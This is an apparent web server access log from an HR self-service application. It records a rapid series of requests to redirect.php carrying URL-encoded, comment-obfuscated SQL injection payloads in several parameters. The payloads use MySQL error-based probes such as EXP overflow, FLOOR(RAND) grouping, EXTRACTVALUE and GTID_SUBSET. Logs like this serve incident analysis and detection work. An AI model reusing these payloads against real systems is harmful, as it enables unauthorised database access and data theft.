100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c6f4568%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78733073%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F2DSi&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64587331%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4869656f%29%29x%29%29--%2F%2A%2A%2FESeJ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x586f6c31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64506732%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fc07c&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x586f6c31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64506732%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fc07c&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d507453%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43514b53%29%29x%29%29--%2F%2A%2A%2FNFWG&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x354f3062%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44506634%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FCORd&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x48524856%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4350446c%29%29%2C1%29--%2F%2A%2A%2Ff3N9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x77726238%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x786c6179%29%29%2C1%29--%2F%2A%2A%2FqpMj&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36694c45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42677637%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fl6Qu%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x66785750%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x436b6f65%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2EDa%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x66785750%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x436b6f65%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2EDa%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x52646848%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31493436%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FTHt3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x63693078%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35753464%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x63693078%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35753464%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x39646269%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43555a43%29%2C6420%29--%2F%2A%2A%2Fbxlt&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x39646269%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43555a43%29%2C6420%29--%2F%2A%2A%2Fbxlt&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x74364566%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59663032%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x74364566%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59663032%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38316b51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b6d537a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FYVGc&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d435930%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6a7733%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKMV7%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x66785750%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x436b6f65%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2EDa%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x63693078%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35753464%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x49426c39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37656277%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fa7m0&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
